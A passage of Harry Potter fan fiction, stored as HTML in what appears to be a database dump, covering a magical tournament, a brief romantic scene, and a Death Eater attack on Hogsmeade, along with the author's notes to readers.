license!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The next thing she felt was two sharp points hitting her in the chest and stomach. The world slowly faded into black as she fell forward, wand dropping from her hand as she did so.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Where did she go!?&#8221; Ron shouted, running onto the field as the fog cleared as Lupin and Lee talked about the winning of the match.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Did she Apparate?&#8221; Ginny asked, looking around.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No.&#8221; Draco said, calmly walking up to them. &#8220;She tricked her.&#8221; He pointed to the ground, where Hermione&#8217;s head was emerging. </p>\n\n<p>&nbsp;</p>\n\n<p>Her hair was sopping wet and muddy. Ron helped her out of the slimy water and laughed as she coughed out the grimy liquid. &#8220;Don&#8217;t tell me you fell in while running to her?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione grinned sheepishly up at him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What a way to win.&#8221; Ginny laughed, patting her on the back.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Told you so,</i>&#8221; Celestial spoke into Hermione&#8217;s mind. </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione coughed some more, feeling like she would be sick. &#8216;<i>Next time you tell me a sure-fire way to win, I am _not_ listening to you.</i>&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>I said you would distract her and win, I never said anything about staying clean.</i>&#8221; The dragon&#8217;s voice was laughing.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry groaned and leaned forward, gripping his side and his shoulder. &#8220;Owww&#8230;&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re up.&#8221; Ginny commented, kneeling next to him and placed her hand on his forehead. &#8220;Good, you&#8217;re not feverish, that means the medicine worked.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Where am I?&#8221; He took Ginny&#8217;s hand and moved it from his forehead. &#8220;My head hurts.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No surprise there.&#8221; Another voice chimed in. &#8220;You got hit pretty bad.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You can&#8217;t say much.&#8221; Another voice, Hermione&#8217;s, told the first. &#8220;Ron, you idiot, you&#8217;re worse than Harry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Huh?&#8221; Harry blinked a few times and realized he was in the hospital Wing. &#8220;What about the match?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It ended yesterday.&#8221; Ginny grinned as Harry looked over at Ron, who was in a bed next to him. &#8220;You should have seen the matches. I lost mine, but Ron here made up for it.&#8221; She smiled at her brother. &#8220;Fought in a sand arena like an ancient Egyptian tomb. Lasted well over three hours.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione looked over at Harry and scoped him over for the thousandth time, making sure he was okay. &#8220;Yeah, and Ron kept on fighting, even after he got hurt really bad. I don&#8217;t think anyone sees this as a friendly competition anymore. It&#8217;s now win or nothing.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry laid back in his bed and looked at the ceiling. &#8220;Ah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m going for a walk.&#8221; Ginny said, patting her brother and Harry on the head as she left. &#8220;See you later guys. Harry, you can go to the common room tonight.&nbsp; Ron, you need to stay in here for a night.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sure.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You always come here?&#8221; Ginny spoke softly, standing next to a tree and watching the sun set.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Not really.&#8221; Draco was leaning against the tree, sitting down with one knee bent and the other leg straight in front of him. On his bent knee was a book with a piece of parchment on it. A quill was in his hand.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You writing something?&#8221; she asked, bending over to look over his shoulder.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco opened the book and placed the parchment into it before she could read. &#8220;I was, yeah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t mind me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I do.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s mean.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I come here to think.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The sunset is beautiful,&#8221; she said, changing the subject. &#8220;I love how the colours all melt together, don&#8217;t you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wouldn&#8217;t know.&#8221; He stood and turned. &#8220;I&#8217;m colour blind.&#8221; Ginny gasped lightly and immediately wished she could take back her words. Draco looked at his ring as he walked away. &#8220;Not even an Angel&#8217;s blessing can make me see, unless I find an emotion strong enough to match the desire.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What does that mean?&#8221; Ginny asked in a small voice as he walked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;One whose heart cannot love can&#8217;t work all of holy magic. The healing is beyond my grasp.&#8221; He was almost to the castle doors, but Ginny could still hear him. &#8220;I don&#8217;t know how to love.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny watched the doors close and turned to the place where he had been sitting. &#8220;What&#8217;s this?&#8221; she asked, bending over and picking up a stray scrap of parchment. </p>\n\n<p>&nbsp;</p>\n\n<p><i>Its like I\'m paranoid, looking over my back&nbsp; </i></p>\n\n<p><i>&nbsp;Its like a whirlwind inside of my head&nbsp; </i></p>\n\n<p><i>&nbsp;Its like I can\'t stop what I\'m hearing within&nbsp; </i></p>\n\n<p><i>&nbsp;Its like the face inside is right beneath my skin&nbsp; </i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Here we go again. the pain I feel isn\'t real, but only in my mind.&nbsp; </i></p>\n\n<p><i>But I find myself in places with names, but not faces.</i></p>\n\n<p><i>My memory races at speeds, hundred degrees.&nbsp; </i></p>\n\n<p><i>My soul, it bleeds. devil must have planted the seed?</i></p>\n\n<p><i>Now it feels like my backs against the wall, I\'m taking the fall...&nbsp; </i></p>\n\n<p><i>Whenever I call, nobody\'s responding at all&nbsp; </i></p>\n\n<p><i>But I don\'t know who I could trust... They\'re screaming my name...</i></p>\n\n<p><i>Dear God, I need somebody to help me out of the flame&nbsp;&nbsp;&nbsp; </i></p>\n\n<p><i>&nbsp; </i></p>\n\n<p><i>The sun goes down&nbsp; </i></p>\n\n<p><i>I feel the light betray me </i></p>\n\n<p><i>The sun goes down </i></p>\n\n<p><i>Its like I&#8217;m paranoid.. </i></p>\n\n<p><i>I feel the light betray me </i></p>\n\n<p><i>The sun... </i></p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~**~~</p>\n\n<p>&nbsp;</p>\n\n<p>Okay guys, I know I disappointed a lot of you. Last post the chapter wasn&#8217;t even done, and I couldn&#8217;t even get it out in time like I had hoped. Well, this added edition was only a thousand or so words long. The tournament is getting harder to write and is taking up more space than I originally thought. It&#8217;s hard to move with the story line when a round in the tournament takes up almost 6,000 words, ya know? Well, I can&#8217;t promise next Monday will bring in a new chapter, but I&#8217;ll try. Thanks goes to my beta reader as usual. </p>\n\n<p>&nbsp;</p>\n\n<p>Till next time.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p> '),
	(118, 10, ' <p>A/N: Since life is treating me like it caught me in bed with its only daughter, I have not been able to keep my promised 10,000 words a week quota. Instead I have decided to update every 4-7 thousand words, as I see fit. This may mean an update every other day or maybe 1 a week or maybe 2. Life is like that, you know? Thanks for waiting while I sort through life as a college freshman. Heh, Ramen noodles get old after a while, ya know? ^.^</p>\n\n<p>&nbsp;</p>\n\n<p>Chapter 9 was updated at the same time I posted this, so you might want to check it out if you haven&#8217;t.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~**~~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sir, everything is going as planned. We will be ready to proceed this coming Saturday night.&#8221; The man spoke, voice hollow from years of lost emotions. Wormtail bowed before his master and waited for the response.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Excellent.&#8221; The voice of Voldemort replied. &#8220;Make sure they are ready.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sir.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><b>Breath of Fire X</b></p>\n\n<p><b>By:</b></p>\n\n<p><b>Satashi</b></p>\n\n<p><b>&nbsp;</b></p>\n\n<p>&#8220;Well what do you want me to do?&#8221; Ron asked throwing his hands up. &#8220;We&#8217;re not even good yet. I can&#8217;t just come up with words to this.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry sighed. &#8220;Look, I&#8217;m sorry. I just want to have something cool, that&#8217;s all.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron waved his hand and two small light beams appeared in his hands, which he spun like drumsticks. He moved his hand down and a straight line appeared in mid swing, making a noise. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Magical drum set?&#8221; Hermione asked, stepping into the room.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, I had mum to send it to me from home. It&#8217;s cheap, but it does what it&#8217;s supposed to.&#8221; Ron agreed, while playing a small solo.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione looked from Harry (who was holding his guitar) to Ron. &#8220;What are you two going to start a band or something?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah.&#8221; They both replied at the same time.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione waited a few moments before letting out her feelings on the subject. &#8220;Hahahahaha!&#8221;</p>\n\n<p><b>&nbsp;</b></p>\n\n<p><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</b></p>\n\n<p>&nbsp;</p>\n\n<p>Harry stood in the spray of the shower, head titled slightly forward, letting the hot liquid rush over his tired muscles. On the outside of the shower room, Hermione was swimming around in the huge bathtub for prefects.&nbsp; Their dirty cloths were in the hamper and their clean ones on the bench by it. One would have thought it was a normal day, but there was one slight alteration; Harry&#8217;s quidditch robes. </p>\n\n<p>&nbsp;</p>\n\n<p>Yes, the time had finally come where quidditch members would once again be taxed. Their bodies pushed hard and skills sharpened. The captain of the team held no sympathy for the two members who were in the sorcerer&#8217;s circle. Harry was pushed harder to make up for time lost while practicing charms, hexes and muggle martial arts. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry Potter, for this reason, had been in the shower for almost half an hour now. The room was full of steam and his tired muscles were now relaxed. Prefect, N.E.W.T.s, MMA, SC, and quidditch. This surely was a lot to place all on the shoulders on one teenage boy, but there were a few others in the school who knew what he was going through. They, with the assistance of Hermione, had formed a study group at night to help catch up on anything they might not understand. Tonight was cancelled, however, because of the Hogsmeade trip. Almost the entire school was going to head out. Even first and second years would leave the castle on a special field trip to see a master wizard show off some fancy spells.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, you almost done in there?&#8221; Hermione called out to him, peeking her head past the slightly cracked door. &#8220;Wow, it&#8217;s steamy in here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry looked up and leaned back, pulling the shower curtain back enough to title his head out of. &#8220;Hey, it feels good in here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sure it does,&#8221; she agreed, not really looking at him. &#8220;But you promised me lunch today and I skipped breakfast.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry gave her his lopsided grin and leaned out, taking her hand and pulling her toward him. &#8220;We can wait a little longer, can&#8217;t we?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry!&#8221; She spoke in an alarmed whisper. &#8220;In the shower?&#8221; He arched an eyebrow at her, making her blush. &#8220;We can&#8217;t. You know that. What, what if we get caught!?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Making out in the shower, nothing wrong with that is there?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What if someone comes in?&#8221; She asked again, still red.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;They won&#8217;t. Come here beautiful.&#8221; He tugged her, making her fall against him. A kiss cut off all other protest.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Draco yawned as he pushed open the prefect&#8217;s bathroom door. &#8220;Man I&#8217;m sleepy.&#8221; He spoke to himself, rubbing his eyes as he eyed the empty bathtub. A few subs were still on the bottom, as if it was just drained. &#8220;I think I&#8217;m going to take a shower today&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Ron looked at Harry and then back to Hermione. After a few more glances, he looked over at Ginny, who seemed just as confused as him. She in turn, looked at Draco, who was sitting on the other side of her. Draco refused to make eye contact with anyone, especially Harry and Hermione. The five were on their way to Hogsmeade in a horseless carriage. Although normally there would be lots of talking and joking and jabs at each other from the three guys, today was silent. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So, Harry, took a long shower this morning.&#8221; Ron said, trying to fill in the total lack of words. &#8220;Quidditch practice is a killer, eh?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione looked even redder than before.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What did I say?&#8221; Ron asked his sister, getting a shrug. The awkwardness of the ride was soon thankfully over as the group made it to their destination and stepped out. &#8220;I&#8217;m going to, um, go shop around.&#8221; Ron waved lightly before walking off; thinking that whatever it was that went on would fade over the course of the day.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wait!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron turned to see Harry trotting over to him. &#8220;I&#8217;ll join you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The red head nodded, assuming he needed some time away from the girls and Draco. &#8220;Sure. Let&#8217;s go.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry&#8217;s head jerked to the side as a loud explosion snagged his attention. &#8220;What the&#8230;?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Death Eaters!&#8221; Someone shouted out, fleeing in the opposite direction of the explosion.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry gave his friends a weird look. &#8220;They wouldn&#8217;t&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Another explosion rang out.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;They did.&#8221; Ron said grimly. The next thing they knew they were running through a sea of people, pushing past villagers and young children...</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;There!&#8221; Ron pointed at a small group of three people. They were wearing black wizard robes and a white mask. &#8220;Expelliarmus!&#8221; The hex shot from his wand and hit the center man, making him fly backwards a few feet. The red head caught the wand that flew at him gracefully and smirked as the people running suddenly stopped and looked at them.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s Harry Potter!&#8221; A girl cried out. &#8220;And Ron! We&#8217;re saved!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The two death eaters were helping their fallen friend up at the moment.&nbsp; Harry took this time to speak to the people around him. &#8220;Why are you running, huh!?&#8221; he demanded of them. &#8220;Scared? That&#8217;s fine.&#8221; He set his eyes on his opponents. &#8220;But sometimes you have to do things you don&#8217;t want to.&#8221; He held out his hand. &#8220;All of you guys protect the women and children.&#8221; The death eaters were now all standing. &#8220; Windaga!&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>The blast of wind sent all three into a wall, making them pass out from the force. Ron nodded at Harry and snapped the wand he held. &#8220;You guys take care of them.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron!&#8221; Ron turned to look in the direction Harry was facing, but found himself hit by a spell and sent flying far away. Harry glared at the person who cast the spell. &#8220;You&#8217;ll pay for that.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Attacking Hogsmeade&#8230;&#8221; Cho whispered under her breath as she broke a wand she was holding. A group had already surrounded her and tied up the death eater she just took out. &#8220;What kind of idiot would attack a wizarding town?&#8221; She looked in the direction of the building that was on fire. She was in it when the fire charm was placed on it. &#8220;You-know-who must me losing his 